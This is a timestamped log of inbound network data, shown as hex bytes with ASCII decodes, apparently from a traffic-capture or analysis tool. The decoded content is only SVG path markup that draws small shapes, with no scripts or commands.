2023-05-31 12:52:07 UTC	5769	IN	Data Raw: 2c 31 38 36 2e 38 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 31 2e 34 39 2c 31 39 33 2e 36 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e Data Ascii: ,186.81a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"/><path class="cls-4" d="M951.49,193.64a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.92,2.39,2.39,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.
2023-05-31 12:52:07 UTC	5785	IN	Data Raw: 30 2c 31 2d 32 2e 38 36 2c 30 41 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 39 32 32 2c 31 32 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 36 37 2c 31 33 33 2e 31 32 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 31 2e 39 2c 31 34 30 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e Data Ascii: 0,1-2.86,0A2.09,2.09,0,0,1,922,125"/><path class="cls-4" d="M921.67,133.12a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"/><path class="cls-4" d="M921.9,140a1.68,1.68,0,0,1,.76-2.2,2.
2023-05-31 12:52:07 UTC	5801	IN	Data Raw: 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 35 2e 34 37 2c 32 37 30 2e 33 39 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 41 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2c 39 30 39 2c 32 37 32 61 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c Data Ascii: 48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"/><path class="cls-4" d="M905.47,270.39a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.29.93A2.38,2.38,0,0,1,909,272a2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><
2023-05-31 12:52:07 UTC	5817	IN	Data Raw: 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 36 35 2c 32 30 39 2e 38 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 35 2e 38 38 2c 32 31 36 2e 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d Data Ascii: class="cls-4" d="M875.65,209.87a1.69,1.69,0,0,1,.76-2.2,2.49,2.49,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M875.88,216.7a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-
2023-05-31 12:52:07 UTC	5833	IN	Data Raw: 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 36 2e 30 35 2c 31 35 36 2e 31 39 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 Data Ascii: 36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M846.05,156.19a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"/><path class="cls-4" d="
2023-05-31 12:52:07 UTC	5849	IN	Data Raw: 2c 32 38 36 2e 36 33 61 31 2e 36 38 2c 31 2e 36 38 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 38 36 2c 32 39 33 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 Data Ascii: ,286.63a1.68,1.68,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.92,2.37,2.37,0,0,1-.5,2.85,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"/><path class="cls-4" d="M829.86,293.45a1.7,1.7,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2
2023-05-31 12:52:07 UTC	5865	IN	Data Raw: 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2c 32 33 32 2e 39 34 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 30 2e 32 36 2c 32 33 39 2e 37 37 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 Data Ascii: ,0,0,1-.16-2.81"/><path class="cls-4" d="M800,232.94a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"/><path class="cls-4" d="M800.26,239.77a1.7,1.7,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.9
2023-05-31 12:52:07 UTC	5881	IN	Data Raw: 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 35 2c 32 32 39 2e 32 35 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 30 34 2e 37 33 2c 32 32 31 2e 35 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 Data Ascii: 37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M505,229.25a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"/><path class="cls-7" d="M504.73,221.53a1.92,1.92,0,0,1-.87,2.49,2.79,2.79
2023-05-31 12:52:07 UTC	5897	IN	Data Raw: 3d 22 4d 35 32 33 2e 38 31 2c 38 39 2e 35 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 33 2e 35 35 2c 38 31 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e Data Ascii: ="M523.81,89.56a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M523.55,81.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.
2023-05-31 12:52:08 UTC	5913	IN	Data Raw: 2e 36 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 35 37 2e 35 32 2c 31 35 37 2e 39 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 Data Ascii: .66a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M557.52,157.94a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3
2023-05-31 12:52:08 UTC	5929	IN	Data Raw: 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 31 2e 34 39 2c 32 33 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 Data Ascii: 9,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"/><path class="cls-7" d="M591.49,234a1.92,1.92,0,0,1-.87,2.49,2.78,2.78,0,0,1-3.71-1.05,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><pa
2023-05-31 12:52:08 UTC	5945	IN	Data Raw: 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 33 31 2c 39 34 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 31 30 2e 30 35 2c 38 36 2e 36 34 Data Ascii: 1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.31,94.36a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1,2.67,2.67,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M610.05,86.64
2023-05-31 12:52:08 UTC	5961	IN	Data Raw: 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2e 32 38 2c 31 37 30 2e 34 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 34 34 2c 31 36 32 2e 37 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c Data Ascii: 6,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644.28,170.46a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M644,162.74a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,
2023-05-31 12:52:08 UTC	5977	IN	Data Raw: 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2e 32 35 2c 32 34 36 2e 35 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 37 38 2c 32 33 38 2e 38 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 36 2c 32 Data Ascii: "/><path class="cls-7" d="M678.25,246.56a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M678,238.84a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1.05,2.66,2
2023-05-31 12:52:08 UTC	5993	IN	Data Raw: 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 39 36 2e 38 31 2c 39 39 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e Data Ascii: a1.92,1.92,0,0,1-.87,2.49,2.8,2.8,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M696.81,99.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.
2023-05-31 12:52:08 UTC	6009	IN	Data Raw: 31 2e 30 35 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 33 30 2e 37 38 2c 31 37 35 2e 32 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 38 2c 32 2e 37 38 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 Data Ascii: 1.05,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M730.78,175.26a1.91,1.91,0,0,1-.87,2.48,2.78,2.78,0,0,1-3.71-1.05,2.68,2.68,0,0,1,.56-3.21,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"/><path class="
2023-05-31 12:52:08 UTC	6025	IN	Data Raw: 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 37 35 2c 32 35 31 2e 33 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 34 2e 34 39 2c 32 34 33 2e 36 34 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 Data Ascii: 22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.75,251.36a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"/><path class="cls-7" d="M764.49,243.64a1.92,1.92,0,0,1-.87,2.49
2023-05-31 12:52:08 UTC	6041	IN	Data Raw: 2e 31 33 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 38 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 30 2c 33 2e 35 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 36 35 33 2e 34 32 2c 32 35 39 2e 35 34 61 32 2e 31 36 2c 32 2e 31 36 2c 30 2c 30 2c 31 2d 31 2e 31 2c 32 2e 37 35 2c 33 2e 31 35 2c 33 2e 31 35 2c 30 2c 30 2c 31 2d 34 2e 31 32 2d 31 2e 33 36 2c 33 2c 33 2c 30 2c 30 2c 31 2c 2e 37 39 2d 33 2e 35 38 2c 32 2e 38 32 2c 32 2e 38 32 2c 30 2c 30 2c 31 2c 33 2e 36 32 2e 32 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 